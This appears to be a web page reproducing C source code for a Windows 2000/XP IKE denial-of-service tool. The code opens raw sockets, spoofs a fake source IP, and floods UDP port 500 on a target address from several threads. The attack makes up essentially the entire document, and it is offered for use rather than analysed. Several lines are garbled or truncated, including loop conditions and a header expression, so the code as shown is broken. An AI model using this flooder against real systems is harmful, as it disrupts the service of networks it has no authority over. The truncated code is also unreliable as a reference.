| 关键词: ipHeader sizeof udpHeader iUdpCheckSumSize unsigned pSendBuffer nBufferSize UDP checksum char |
////////////////////////////////////////////////////////////////////////////////// // Win2K IKE UDP DOS (PORT 500)// // File : IKEDOS.cpp// Comment : only for win2k and XP(pro\server\adv)// // // Create by : refdom// Email : [email protected]// Home Page : www.opengram.com////////////////////////////////////////////////////////////////////////////////#include #include #include #pragma comment (lib, "ws2_32.lib")#define SOURCE_PORT 7900#define IKE_UDPPORT 500#define FAKE_SOURCE_IP "192.168.1.1"typedef struct ip_hdr //定义IP首部{unsigned char h_verlen; //4位首部长度,4位IP版本号unsigned char tos; //8位服务类型TOSunsigned short total_len; //16位总长度(字节)unsigned short ident; //16位标识unsigned short frag_and_flags; //3位标志位unsigned char ttl; //8位生存时间 TTLunsigned char proto; //8位协议 (TCP, UDP 或其他)unsigned short checksum; //16位IP首部校验和unsigned int sourceIP; //32位源IP地址unsigned int destIP; //32位目的IP地址}IP_HEADER;typedef struct udp_hdr //UDP首部{unsigned short sourceport; unsigned short destport; unsigned short udp_length; unsigned short udp_checksum; } UDP_HEADER;void IKEDOSThread(void* Target);//CheckSum:计算校验和的子函数USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0;while(size >1){cksum+=*buffer++;size -=sizeof(USHORT);}if(size ) {cksum += *(UCHAR*)buffer;}cksum = (cksum >> 16) + (cksum & 0xffff);cksum += (cksum >>16);return (USHORT)(~cksum);}int main(int argc, char* argv[]){WSADATA WSAData;if (argc {printf ("input targetip!\n");return 0;}if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0 ){printf("WSA Error!\n");return 0;}Sleep(500);printf ("DOS Starting......\n");for (int i =0 ; i {_beginthread(IKEDOSThread, 0, (void*) argv[1]);}Sleep(100000);WSACleanup();return 0;}void IKEDOSThread(void* Target){SOCKET sock;SOCKADDR_IN addr_in;IP_HEADER ipHeader;UDP_HEADER udpHeader;int nRetCode;char* pBuffer;char* pSendBuffer;int nBufferSize = 1024;BOOL flag;int iTotalSize,iUdpCheckSumSize,i,j;char *ptr=NULL;pBuffer = (char*) malloc(nBufferSize);FillMemory(pBuffer, nBufferSize, 'A');pSendBuffer = (char*) malloc(nBufferSize + 60);sock = WSASocket(AF_INET,SOCK_RAW,IPPROTO_UDP,NULL,0,0);if (sock==INVALID_SOCKET){printf("socket Error!\n");return;}flag=true;if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char*)&flag,sizeof(flag))==SOCKET_ERROR){printf("setsockopt Error!\n");return;}iTotalSize=sizeof(ipHeader) + sizeof(udpHeader)+ nBufferSize;ipHeader.h_verlen = (4 ipHeader.tos=0;ipHeader.total_len=htons(iTotalSize);ipHeader.ident=0;ipHeader.frag_and_flags=0;ipHeader.ttl=128;ipHeader.proto=IPPROTO_UDP;ipHeader.checksum=0;//ipHeader.sourceIP=inet_addr(argv[1]);ipHeader.destIP=inet_addr((char*)Target);udpHeader.sourceport = htons(SOURCE_PORT);udpHeader.destport = htons(IKE_UDPPORT);udpHeader.udp_length = htons(sizeof(udpHeader) + nBufferSize);udpHeader.udp_checksum = 0;ptr = NULL;ipHeader.sourceIP = htonl(ntohl(inet_addr(FAKE_SOURCE_IP)));ZeroMemory(pSendBuffer, nBufferSize + 60);ptr = pSendBuffer;iUdpCheckSumSize=0;udpHeader.udp_checksum = 0;memcpy(ptr, &ipHeader.sourceIP, sizeof(ipHeader.sourceIP));ptr += sizeof(ipHeader.sourceIP);iUdpCheckSumSize += sizeof(ipHeader.sourceIP);memcpy(ptr, &ipHeader.destIP, sizeof(ipHeader.destIP));ptr += sizeof(ipHeader.destIP);iUdpCheckSumSize += sizeof(ipHeader.destIP);ptr++;iUdpCheckSumSize++;memcpy(ptr, &ipHeader.proto, sizeof(ipHeader.proto));ptr += sizeof(ipHeader.proto);iUdpCheckSumSize += sizeof(ipHeader.proto);memcpy(ptr, &udpHeader.udp_length, sizeof(udpHeader.udp_length));ptr += sizeof(udpHeader.udp_length);iUdpCheckSumSize += sizeof(udpHeader.udp_length);memcpy(ptr, &udpHeader, sizeof(udpHeader));ptr += sizeof(udpHeader);iUdpCheckSumSize += sizeof(udpHeader);memcpy(ptr, pBuffer, nBufferSize);iUdpCheckSumSize += nBufferSize;udpHeader.udp_checksum=checksum((USHORT*)pSendBuffer,iUdpCheckSumSize);addr_in.sin_family=AF_INET;addr_in.sin_port=htons(IKE_UDPPORT);addr_in.sin_addr.S_un.S_addr=inet_addr((char*) Target);// for (j=0; j// {// udpHeader.udp_checksum -= j;// ipHeader.sourceIP = htonl(ntohl(inet_addr(FAKE_SOURCE_IP)) + j);//ZeroMemory(sendbuf,sizeof(sendbuf));memcpy(pSendBuffer, &ipHeader, sizeof(ipHeader));memcpy(pSendBuffer + sizeof(ipHeader), &udpHeader, sizeof(udpHeader));memcpy(pSendBuffer + sizeof(ipHeader) + sizeof(udpHeader), pBuffer, nBufferSize);for ( i = 0 ; i {if (sendto(sock, pSendBuffer, iTotalSize, 0, (SOCKADDR *)&addr_in, sizeof(addr_in))==SOCKET_ERROR){printf("Send Error!\n");return;}else{// printf("Send OK!\n");}}// }//end forclosesocket(sock);free(pBuffer);free(pSendBuffer);} |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|